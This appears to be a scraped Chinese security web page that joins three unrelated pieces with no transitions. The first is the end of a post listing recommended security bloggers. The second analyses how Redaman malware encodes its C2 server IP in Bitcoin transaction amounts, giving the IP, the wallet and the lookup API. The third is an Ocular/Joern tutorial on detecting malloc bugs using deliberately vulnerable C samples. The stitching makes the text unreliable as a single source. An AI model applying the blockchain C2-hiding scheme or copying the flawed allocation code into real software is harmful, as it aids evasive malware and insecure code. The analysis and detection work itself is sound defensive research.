精挑细选了36个高频产出、质量不错的安全博主和博客,持续关注,这些博主都是每个方向具有代表性的师傅,有渗透测试、漏洞分析、入侵检测、CTF、逆向、PWN、代码审计、无线安全、Web安全、主机安全和安全研究方向,虽然和这些博主可能不是同一个方向,但是还记得文章开头时候说过的吗?不仅要focus在自己的领域,还要关注其他方向。已经用Star字段标记了。

给出了一份价值较高的原始数据,读者可以自行利用这批数据做很多有意思的事情,信息检索,内容学习,数据分析。

Ref

安全圈有多大?也许就这么大! – gainover

安全博客友链数据分析可视化

《从内容产出看安全领域变化》

tanjiti / sec_profile

CyberSecurityRSS

*本文作者:404notfound,原文首发在404 Not F0und,转载请联系原作者

简介

Redaman是一款主要攻击俄语用户的钓鱼攻击中传播的银行恶意软件。最早于2015年以RTM银行木马的形式出现,之后新版本的Redaman出现在2017和2018年。2019年9月,Check Point研究人员发现新版本的Redama将Pony C2服务器IP地址隐藏在比特币区块链中。

过去研究人员也发现过有攻击者将C2服务器IP地址隐藏在区块链中,本文主要对攻击活动中使用的新技术进行分析。

恶意软件会连接比特币区块链和链交易来找到隐藏的C2服务器,研究人员将这种新技术命名为Chaining。

感染链

攻击者如何在比特币区块链中隐藏C2服务器呢?

在本例中,攻击者隐藏的IP地址为185.203.116.47

为此,攻击者使用了钱包地址 1BkeGqpo8M5KNVYXW3obmQt1R58zXAqLBQ :

1. 攻击者会把IP地址从10进制转为十六进制: 185.203.116.47 => B9.CB.74.2F

2. 攻击者将前2个8位组 B9和CB顺序互换,并融合到一起:B9.CB => CBB9

3. 攻击者将十六进制再转为十进制: CBB9 ==> 52153

0.00052153 BTC (约4美元) 就是钱包要做的第一笔交易

4. 攻击者获取最后2个8位组,并将顺序互换,变成一个: 74.2F => 2F74

5. 攻击者将十六进制再转为十进制: 2F74==> 12148

0.00012148 BTC (约1美元)是钱包要进行的第二笔交易

图 1 – 金额为0.00052153 和0.00012148 的交易

BTC https://www.blockchain.com/btc/address/1BkeGqpo8M5KNVYXW3obmQt1R58zXAqLBQ?sort=0

Redaman恶意软件如何解析动态隐藏的C2服务器IP?

Redaman解析IP地址的方法与前面提到的刚好相反:

1. Redaman发送一个GET请求来获取硬编码钱包1BkeGqpo8M5KNVYXW3obmQt1R58zXAqLBQ 上的最后10个交易:

https://api.blockcypher.com/v1/btc/main/addrs/1BkeGqpo8M5KNVYXW3obmQt1R58zXAqLBQ?limit=10

2. 获取比特币钱包上的最后两笔支付交易的值: 52153 和 12148。

3. 将交易的十进制值转为十六进制: 52153==>CBB9 ,12148==>2F74。

4. 将十六进制数据进行换位和拼接,然后再转成10进制: B9==>185, CB==>203, 74==>116, 2F==>47

5. 这些值放在一起就变成了隐藏的C2服务器的IP地址: 185.203.116.47。

 

图 2 – 计算C2服务器IP地址的代码 

图 3 – 含有隐藏C2服务器IP地址的Json响应

结论

文中描述了Redaman如何高效地将动态C2服务器地址隐藏在比特币区块链中。相当于简单地通过静态或硬编码IP地址的方式来设置C2,文中介绍的新方法更加难以预防。

0x01  前言

C / C++主要使用 malloc,calloc,zalloc,realloc和专门版本kmalloc来进行内存分配。例如,malloc具有void *malloc(size_t size) 签名,可以从堆中申请任何数量的字节,该函数会返回一个指针。然后使用释放内存函数free()。即使在2019年,这些函数仍然是黑客进行漏洞利用的入口点。例如,最近在WhatsApp中出现的UAF漏洞,我将在后续文章中讨论。

我的朋友Alexei提供了一个非常酷的基于Ghidra的脚本来发现常见的malloc漏洞。我从中得到启发,并使用名为Ocular的工具编写了一些简单的查询,该工具可以帮助更快地发现此类问题。Ocular及其开源代码平台Joern是由我们的ShiftLeft团队开发的。这将是一个学习Ocular和Joern如何使用并了解其内部运作的机会。

0x02 malloc()Bugs

回到malloc()中,在某些情况下,看似有效使用了malloc可能也会出错:

· 缓冲区溢出漏洞:size参数可能是由malloc函数的其他一些外部函数计算的。例如下面,这是从另一个函数返回大小的情况:

 int getNumber() {
   int number = atoi("8");
   number = number + 10;
   return number;
 }
 
 void *scenario3() {
   int a = getNumber();
   void *p = malloc(a); 
   return p;
 }

在这种情况下,虽然mallocsize参数的来源只是atoi(),但情况并非总是如此。如果整数(number + 10)的值溢出并且比随后所需的值小得多(memcpy例如),访问或写入缓冲区时可能会导致缓冲区溢出。

· Zero Allocation:(https://openwall.info/wiki/_media/people/jvanegue/files/woot10.pdf)中所述,提供零作为size参数虽然有效,但可能会导致越界错误。在某些算术运算(例如乘法)之后确定大小的情况下,这很有可能会发生

 void *scenario2(int y) {
   int z = 10;
   void *p = malloc(y * z);
   return p;
 }

如果外部控制了y为零怎么办?在这种情况下,malloc可以返回NULL指针,但是它由用户决定NULL使用分配的内存之前要进行检查。

· Intra-Chunk Heap Overflow:我最喜欢的堆利用方式之一,这种漏洞利用情况是在给定的分配内存块中,覆盖了一部分但是对另一个无关的部分进行操作。克里斯·埃文斯(Chris Evans)的博客中的一个例子很好地说明了这一点:

 struct goaty { char name[8]; int should_run_calc; };
 
 int main(int argc, const char* argv[]) {
    struct goaty* g = malloc(sizeof(struct goaty));
    g->should_run_calc = 0;
    strcpy(g->name, "projectzero");
    if (g->should_run_calc) execl("/bin/gnome-calculator", 0);
 }

· UAF,内存泄漏漏洞: 这也很常见,忘记free()在循环结构中分配内存可能会导致泄漏,在某些情况下可以用来引起恶意崩溃或性能下降。另一种情况是记住释放内存,但是之后又尝试使用它,导致释放后重引用,尽管漏洞利用的可重复性不高,但是当free接近malloc并尝试重新分配时,仍然可能会导致这种情况(通常返回相同的值)或附近的地址),从而使我们能够访问以前释放的内存。

在这篇文章中,我将介绍使用Ocular清理malloc's size参数的前两种情况,看看它们是否最终会导致缓冲区溢出或零分配错误。

0x03  Ocular

Ocular允许将代码(C / C ++ / Java / Scala / C#等)表示为代码属性图 – CPG的图(它类似于AST,控制流和数据流图的混合)。我称之为半编译器,我们采用源代码(C / C ++ / C#)或字节码(Java)并将其编译为IR。该IR是图形(CPG)。无需将其进一步编译,将其加载到内存中,并允许向此IR提出问题,以评估函数的数据泄漏问题,数据流分析,保证关键部分中的变量正确使用,检测缓冲区溢出,UAF等。

而且,由于它是一个图形,因此这种查询会非常有趣,就像GDB或Radare一样,可以在Ocular Shell上编写。例如,您可以说,

Hey Ocular, list all functions in the source code that have “alloc” in their name and give me the name of its parameter

将在Ocular Shell上执行为:

 ocular> cpg.method.name(".*alloc.*").parameter.name.l
 res1: List[String] = List("a")

这是我在不到一分钟的时间内创建的代码图并列出代码中的所有函数:

0x04 使用Ocular / Joern检测内存分配漏洞

稍微升级一下,尝试进行一些malloc()的简单查询。

使用下面的代码在Ocular或其开源平台Joern中执行(https://joern.io/)

 #include <stdio.h>
 #include <stdlib.h>
 
 int getNumber() {
   int number = atoi("8");
   number = number + 10;
   return number;
 }
 
 void *scenario1(int x) {
   void *p = malloc(x);
   return p;
 }
 
 void *scenario2(int y) {
   int z = 10;
   void *p = malloc(y * z);
   return p;
 }
 
 void *scenario3() {
   int a = getNumber();
   void *p = malloc(a); 
   return p;
 }

在上面的代码中,可以列出malloc调用的文件名和行号,我们可以在Ocular shell使用以下查询:

Ocular Query:

 ocular> cpg.method.callOut.name("malloc").map(x => (x.location.filename, x.lineNumber.get)).l

Result:

 List[(String, Integer)] = List(
   ("../../Projects/tarpitc/src/alloc/allocation.c", 23),
   ("../../Projects/tarpitc/src/alloc/allocation.c", 17),
   ("../../Projects/tarpitc/src/alloc/allocation.c", 11)
 )

在示例代码中,方案2或方案3清楚地表明了可能会发生零分配错误,在数据流中进行算术运算,一直达到malloc调用位置。因此,我们尝试建立一个查询,该查询列出带有源数据流作为“方案”方法的参数,并作为所有malloc调用站点的接收器。然后,我们找到所有数据流,并过滤对数据流中的数据进行算术运算的流,这会显示出分配为零或不正确的bugs。

Ocular Query:

 ocular> val sink = cpg.method.callOut.name("malloc").argument
 ocular> var source = cpg.method.name(".*scenario.*").parameter
 ocular> sink.reachableBy(source).flows.passes(".*multiplication.*").p

Result:

在上面的查询中,我们在Ocular shell上创建了名为source和的局部变量sink。语言是scala,它很冗长因此不必过多解释,但是为了完整起见,这是可以用英语解释Ocular查询的第一条语句的方法:

To identify the sink, find all call-sites (callOut) for all methods in the graph (cpg) with name as malloc and mark their arguments as sink.

在上面的代码中,它们将是x,(y * z)和a。

如果我们不想遍历所有方法然后发现它们是否存在漏洞,该怎么办?如果可以从任意调用站点作为源转到malloc调用站点作为接收器,以查找进行算术运算的数据流怎么办?我们可以制定英文查询,首先遍历所有方法的所有调用站点,过滤掉具有malloc和任何操作的源,然后将其作为实际方法的返回值(methodReturn)来定义源站点。然后找到从这些源到作为接收器的malloc调用站点参数的数据流,该数据流对流中的数据进行任何算术运算。听起来有些难,但Ocular Query可以以编程方式解释这一点:

Ocular Query:

 ocular> val sink = cpg.method.callOut.name("malloc").argument
 ocular> var source = cpg.method.callOut.nameNot(".*(<operator>|malloc).*").calledMethod.methodReturn 
 ocular> sink.reachableBy(source).flows.passes(".*(multiplication|addition).*").p

Result:

通过这种方法可以挖掘很多内存漏洞,并修复它们提升安全性。

在下一篇文章中,我将分析如何使用Ocular / Joern在Scala中生成一个Double Free Detector。